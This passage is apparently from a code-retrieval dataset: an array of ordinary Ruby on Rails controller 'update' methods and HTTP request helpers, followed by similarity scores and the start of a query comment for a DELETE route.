@produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n if @carts_product.update_attributes(params[:carts_product])\n format.html { redirect_to @cart, notice: 'Carts product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @carts_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n if @contato_produto.update_attributes(params[:contato_produto])\n format.html { redirect_to [:admin, @contato_produto], notice: 'Contato produto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contato_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @troca_produto.update(troca_produto_params)\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @troca_produto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @prod_cli = ProdCli.find(params[:id])\n respond_to do |format|\n if @prod_cli.update(prod_cli_params)\n #ATUALIZOU DADOS\n log = Loginfo.new(params[:loginfo])\n log.employee = current_user.name\n log.task = 'Atualizou os dados do produto no cliente: ' + @prod_cli.client.company.to_s\n log.save! \n \n format.html { redirect_to clients_path, notice: 'produto atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @prod_cli }\n else\n format.html { render :edit }\n format.json { render json: @prod_cli.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n if @caracteristica_cartum.update_attributes(params[:caracteristica_cartum])\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @prod = Prod.find(params[:id])\n\n respond_to do |format|\n if @prod.update_attributes(params[:prod])\n format.html { redirect_to @prod, :notice => 'Prod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @prod.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cotact.update(cotact_params)\n format.html { redirect_to @cotact, notice: 'Cotact was successfully updated.' }\n format.json { render :show, status: :ok, location: @cotact }\n else\n format.html { render :edit }\n format.json { render json: @cotact.errors, status: :unprocessable_entity }\n end\n end\n end", "def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n respond_to do |format|\n if @recipe_prod.update(recipe_prod_params)\n format.html { redirect_to @recipe_prod, notice: 'Recipe prod was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe_prod }\n else\n format.html { render :edit }\n format.json { render json: @recipe_prod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to edit_produto_path(@produto), notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n nueva_cantidad = compra_params[:cantidad].to_i\n\n respond_to do |format|\n if @compra.edit_stock(nueva_cantidad) && @compra.update(compra_params)\n format.html { redirect_to @compra, notice: 'Compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @compra }\n else\n format.html { render :edit }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @catalogo.update(catalogo_params)\n format.html { redirect_to @catalogo, notice: 'Catalogo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cooco.update(cooco_params)\n format.html { redirect_to @cooco, notice: 'Cooco was successfully updated.' }\n format.json { render :show, status: :ok, location: @cooco }\n else\n format.html { render :edit }\n format.json { render json: @cooco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cartum = Cartum.find(params[:id])\n\n respond_to do |format|\n if @cartum.update_attributes(params[:cartum])\n format.html { redirect_to @cartum, notice: 'Cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @product_cabinet.update_attributes(product_cabinet_params)\n format.html { redirect_to([:admin, @product_cabinet], notice: 'Product cabinet was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @product_cabinet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @produto_kit = ProdutoKit.find(params[:id])\n\n respond_to do |format|\n if @produto_kit.update_attributes(params[:produto_kit])\n flash[:notice] = 'ProdutoKit was successfully updated.'\n format.html { redirect_to(@produto_kit) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @produto_kit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_produto.update(admin_produto_params)\n format.html { redirect_to @admin_produto, notice: 'Produto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @produto.update(produto_params)\n format.html { redirect_to @produto, notice: t('.atualizado') }\n format.json { render :show, status: :ok, location: @produto }\n else\n format.html { render :edit }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cto.update(cto_params)\n format.html { redirect_to @cto, notice: 'Cto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cto.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n respond_to do |format|\n if @consorciot.update(consorciot_params)\n format.html { redirect_to @consorciot, notice: 'Consorciot was successfully updated.' }\n format.json { render :show, status: :ok, location: @consorciot }\n else\n format.html { render :edit }\n format.json { render json: @consorciot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @peticion_servicio_ti = Peticion::ServicioTi.find(params[:id])\n\n respond_to do |format|\n if @peticion_servicio_ti.update_attributes(params[:peticion_servicio_ti])\n format.html { redirect_to edit_peticion_servicio_ti_path(@peticion_servicio_ti), notice: 'Actualizado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peticion_servicio_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end", "def update\n respond_to do |format|\n if @tinta_sublimacion_producto.update(tinta_sublimacion_producto_params)\n format.html { redirect_to @tinta_sublimacion_producto, notice: 'Tinta sublimacion producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @tinta_sublimacion_producto }\n else\n format.html { render :edit }\n format.json { render json: @tinta_sublimacion_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @trein_consul_comercial.update(trein_consul_comercial_params)\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_prod_coti\n @prod_coti = ProdCoti.find(params[:id])\n end", "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @precioproducto = Precioproducto.find(params[:id])\n\n respond_to do |format|\n if @precioproducto.update_attributes(params[:precioproducto])\n format.html { redirect_to @precioproducto, notice: 'Precioproducto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @precioproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @tipo_product = TipoProduct.find(params[:id])\n\n respond_to do |format|\n if @tipo_product.update_attributes(params[:tipo_product])\n format.html { redirect_to @tipo_product, notice: 'Tipo product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @carrito_producto.update(params[:cantidad_productos])\n format.html { redirect_to @carrito_producto, notice: 'Carrito was successfully updated.' }\n format.json { render :show, status: :ok, location: @carrito_producto }\n else\n format.html { render :edit }\n format.json { render json: @carrito_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product_cost = ProductCost.find(params[:id])\n\t@products = Product.find_all\n\t@tax_masters = TaxMaster.find_all\n\n respond_to do |format|\n if @product_cost.update_attributes(params[:product_cost])\n format.html { redirect_to @product_cost, :notice => 'Product cost was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product_cost.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:item_producto_id])\n @opinion = @item_producto.opinions.find(params[:id])\n respond_to do |format|\n if @opinion.update(opinion_params)\n format.html { redirect_to empresa_producto_item_producto_opinions_path, notice: 'Item producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @opinion }\n else\n format.html { render :edit }\n format.json { render json: @opinion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cartella_clinica.update(cartella_clinica_params)\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata modificata correttamente.' }\n format.json { render :show, status: :ok, location: @cartella_clinica }\n else\n format.html { render :edit }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @catalogo.update(catalogo_params)\n format.html { redirect_to @catalogo, notice: 'Catalogo was successfully updated.' }\n format.json { render :show, status: :ok, location: @catalogo }\n else\n format.html { render :edit }\n format.json { render json: @catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @carts_product.update(carts_product_params)\n format.html { redirect_to carts_products_url, notice: 'Quantity was successfully updated.' }\n format.json { render :show, status: :ok, location: @carts_product }\n else\n format.html { render :edit }\n format.json { render json: @carts_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @relacao_produto.update(relacao_produto_params)\n format.html { redirect_to @relacao_produto, notice: 'Relacao produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @relacao_produto }\n else\n format.html { render :edit }\n format.json { render json: @relacao_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n if @commtent1.update_attributes(params[:commtent1])\n format.html { redirect_to @commtent1, notice: 'Commtent1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commtent1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pro_concrete.update(pro_concrete_params)\n format.html { redirect_to pro_concretes_path(@pro_concrete), notice: 'Pro concrete was successfully updated.' }\n format.json { render :show, status: :ok, location: @pro_concrete }\n else\n format.html { render :edit }\n format.json { render json: @pro_concrete.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @centro_costo.update(centro_costo_params)\n format.html { redirect_to centro_costo_path, notice: 'Centro de Costo actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @centro_costo }\n else\n format.html { render :edit }\n format.json { render json: @centro_costo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @compra_venta_normal.update(compra_venta_normal_params)\n format.html { redirect_to @compra_venta_normal, notice: 'Compra venta normal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @compra_venta_normal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n format.html { redirect_to @cso, notice: 'Cso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @production.update(production_params)\n format.html { redirect_to @production, notice: 'Production was successfully updated.' }\n format.json { respond_with_bip(@production) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@production) }\n end\n end\n end", "def update\n respond_to do |format|\n if @mobile_cfr_prod.update(mobile_cfr_prod_params)\n format.html { redirect_to @mobile_cfr_prod, notice: 'Mobile cfr prod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mobile_cfr_prod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n if @clonet.update_attributes(params[:clonet])\n format.html { redirect_to @clonet, notice: 'Clonet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clonet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @articulocomp = Articulocomp.find(params[:id])\n\n respond_to do |format|\n if @articulocomp.update_attributes(params[:articulocomp])\n format.html { redirect_to @articulocomp, :notice => 'Articulocomp was successfully updated.' }\n #format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n #format.json { render json: @articulocomp.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tb_product.update(tb_product_params)\n format.html { redirect_to @tb_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tb_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cpt.update(cpt_params)\n format.html { redirect_to @cpt, notice: 'Cpt was successfully updated.' }\n format.json { render :show, status: :ok, location: @cpt }\n else\n format.html { render :edit }\n format.json { render json: @cpt.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @co_independent_trait.update(co_independent_trait_params)\n format.html { redirect_to @co_independent_trait, notice: 'Co independent trait was successfully updated.' }\n format.json { render :show, status: :ok, location: @co_independent_trait }\n else\n format.html { render :edit }\n format.json { render json: @co_independent_trait.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @usuario_cartum = UsuarioCartum.find(params[:id])\n\n respond_to do |format|\n if @usuario_cartum.update_attributes(params[:usuario_cartum])\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cocktail = Cocktail.find(params[:id])\n respond_to do |format|\n if @cocktail.update_attributes(params[:cocktail])\n format.html { redirect_to @cocktail, :notice => 'Cocktail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cocktail.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @groceryproduct.update(groceryproduct_params)\n format.html { redirect_to @groceryproduct, notice: 'Groceryproduct was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @groceryproduct.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @core_nota = Core::Nota.find(params[:id])\n\n respond_to do |format|\n if @core_nota.update_attributes(params[:core_nota])\n format.html { redirect_to @core_nota, notice: 'Nota was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_nota.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cartucho = Cartucho.find(params[:id])\n\n respond_to do |format|\n if @cartucho.update_attributes(params[:cartucho])\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @catalogo_catalogo = Catalogo::Catalogo.find(params[:id])\n\n @catalogo_tipo_catalogo = Catalogo::TipoCatalogo.find(@catalogo_catalogo.tipo_catalogo_id)\n\n respond_to do |format|\n if @catalogo_catalogo.update_attributes(params[:catalogo_catalogo])\n format.html { redirect_to edit_catalogo_tipo_catalogo_path(@catalogo_tipo_catalogo), notice: 'Guardado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catalogo_catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n response_successfully(format, produto, 'Comentario was successfully updated.', :show, :ok)\n else\n response_unsuccessfully(format, :edit, @comentario, :unprocessable_entity)\n end\n end\n end", "def update\n respond_to do |format|\n if @tuhu_prodoct.update(tuhu_prodoct_params)\n format.html { redirect_to @tuhu_prodoct, notice: 'Prodoct was successfully updated.' }\n format.json { render :show, status: :ok, location: @tuhu_prodoct }\n else\n format.html { render :edit }\n format.json { render json: @tuhu_prodoct.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @com_articulo.update(com_articulo_params)\n format.html { redirect_to @com_articulo, notice: 'Producto actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @com_articulo }\n else\n format.html { render :edit }\n format.json { render json: @com_articulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @prd_attribute = PrdAttribute.find(params[:id])\n\n @prd_attribute.code = params[:prd_attribute]['code']\n @prd_attribute.name = params[:prd_attribute]['name']\n @prd_attribute.rollover = params[:prd_attribute]['rollover']\n @prd_attribute.description = params[:prd_attribute]['description']\n @prd_attribute.status_id = params[:prd_attribute]['status'].to_i\n @prd_attribute.prd_type = params[:prd_attribute]['prd_type']\n @prd_attribute.bill_type_id = params[:prd_attribute]['bill_type'].to_i\n\n @prd_attribute.service_type_id = params[:prd_attribute]['service_type'].to_i\n @prd_attribute.monthly_fee = params[:prd_attribute]['monthly_fee']\n @prd_attribute.subscription_fee = params[:prd_attribute]['subscription_fee']\n @prd_attribute.target_user = params[:prd_attribute]['target_user']\n @prd_attribute.start_date = params[:prd_attribute]['start_date']\n @prd_attribute.end_date = params[:prd_attribute]['end_date']\n\n respond_to do |format|\n format.html { \n \t\tif @prd_attribute.update_attributes(params[:prd_attribute]) \n\t\t\t\tredirect_to(@prd_attribute, :notice => 'PrdAttribute was successfully updated.') \n\t\t\telse \n \t\tformat.html { render :action => \"edit\" }\n\t\t\tend\n\t\t}\n format.xml { \n \t\tif @prd_attribute.update_attributes(params[:prd_attribute]) \n\t\t\t\thead :ok \n\t\t\telse \t\t\n \t\tformat.xml { render :xml => @prd_attribute.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\t}\n format.json {\n\n # bundle일 때에는 해당하는 product id들을 저장\n #\n if params[:prd_attribute]['prd_type'].upcase == 'BUNDLE'\n product_ids = []\n\t\t\t params[:prd_attribute]['ref_products'].each do |product_id|\n\t\t\t product_ids << product_id['product_id'].to_s\n\t\t end\n\t\t @prd_attribute.ref_products = product_ids.join(\",\")\n end \n\t\t @prd_attribute.save\n\n # product devices 저장\n #\n if not params[:prd_attribute]['devices'].blank?\n params[:prd_attribute]['devices'].each do |device|\n prd_attribute_device = PrdAttributeDevice.new\n prd_attribute_device.code_factor_id = device['device'].to_i\n prd_attribute_device.prd_attribute_id = @prd_attribute.id\n prd_attribute_device.product_id = @prd_attribute.products[0].id\n prd_attribute_device.save!\n end\n end\n\n \t#render :json => @prd_attribute.errors, :status => :unprocessable_entity\n\t\t\thead :ok\n\t }\n end\n end", "def update\n @product_cost = ProductCost.find(params[:id])\n\n respond_to do |format|\n if @product_cost.update_attributes(params[:spree_product_cost])\n format.json { head :ok }\n else\n format.json { render json: @product_cost.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @product_cost = ProductCost.find(params[:id])\n\n respond_to do |format|\n if @product_cost.update_attributes(params[:spree_product_cost])\n format.json { head :ok }\n else\n format.json { render json: @product_cost.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def pro_farm_update\n respond_to do |format|\n activo = params[:pro_far][:activo_produc]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n ProFar.where(producto_id: id, farmacium_id:farmacia_id).update_all(activo_produc: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n respond_to do |format|\n if @inventario_producto.update(inventario_producto_params)\n format.html { redirect_to @inventario_producto, notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_producto }\n else\n format.html { render :edit }\n format.json { render json: @inventario_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @capitol.update(capitol_params)\n format.html { redirect_to root_path, notice: 'Capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capitol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n if @cocktail.update_attributes(params[:cocktail])\n format.html { redirect_to @cocktail, notice: 'Cocktail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cocktail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(cita_params)\n format.html { redirect_to @objeto, notice: \"Cita was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n if @coisa.update_attributes(params[:coisa])\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @cartella_clinica = CartellaClinica.find(params[:id])\n respond_to do |format|\n if @cartella_clinica.update(cartella_clinica_params)\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata aggiornata con successo.' }\n format.json { render :show, status: :ok, location: @cartella_clinica }\n else\n format.html { render :edit }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sc_product.update(sc_product_params)\n format.html { redirect_to @sc_product, notice: 'Sc product was successfully updated.' }\n format.json { render :show, status: :ok, location: @sc_product }\n else\n format.html { render :edit }\n format.json { render json: @sc_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @catalogo.update(catalogo_params)\n format.html { redirect_to @catalogo, notice: 'Registro actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @oncokb.update(oncokb_params)\n format.html { redirect_to @oncokb, notice: 'Oncokb was successfully updated.' }\n format.json { render :show, status: :ok, location: @oncokb }\n else\n format.html { render :edit }\n format.json { render json: @oncokb.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @complaint.update(complaint_params)\n format.html { redirect_to @complaint, notice: 'Reclamacao atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @complaint }\n else\n format.html { render :edit }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_catalogo.update(admin_catalogo_params)\n format.html { redirect_to admin_catalogos_path, notice: \"El catálogo \\\"#{@admin_catalogo.descripcion}\\\" fue actualizado correcamente.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_catalogo.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.64031595", "0.6370816", "0.6341285", "0.6326131", "0.62558997", "0.625389", "0.6234354", "0.621671", "0.6194457", "0.61910784", "0.61684775", "0.6134126", "0.6115542", "0.6115483", "0.6103449", "0.610302", "0.6086102", "0.6083888", "0.6047131", "0.60440755", "0.60432106", "0.6041952", "0.6041138", "0.602894", "0.59961903", "0.59960574", "0.5993274", "0.5993274", "0.5993274", "0.5976411", "0.59720415", "0.5970214", "0.59684944", "0.596378", "0.59521985", "0.5952113", "0.5948778", "0.59334075", "0.5926708", "0.5925376", "0.591649", "0.59104705", "0.59060925", "0.5903293", "0.5898448", "0.58978", "0.58945215", "0.58929324", "0.5888844", "0.58861816", "0.58635944", "0.5856601", "0.58520436", "0.58489674", "0.5848136", "0.58404833", "0.58392084", "0.58329165", "0.5832443", "0.5829299", "0.5825773", "0.582166", "0.5819849", "0.5817611", "0.5810038", "0.580882", "0.5804326", "0.5803031", "0.580168", "0.57999015", "0.5798723", "0.5797987", "0.57932454", "0.57888466", "0.57870126", "0.57826966", "0.57802975", "0.5780241", "0.57798916", "0.57795125", "0.5778708", "0.5777152", "0.5776705", "0.5776104", "0.57726103", "0.57722974", "0.57722974", "0.57683825", "0.5764802", "0.5761097", "0.57579815", "0.57578105", "0.57577807", "0.57561344", "0.57522404", "0.5751261", "0.5748229", "0.57454884", "0.5744755", "0.57381135" ]
0.7189997
0
DELETE /prod_cotis/1 DELETE /prod_cotis/1.json
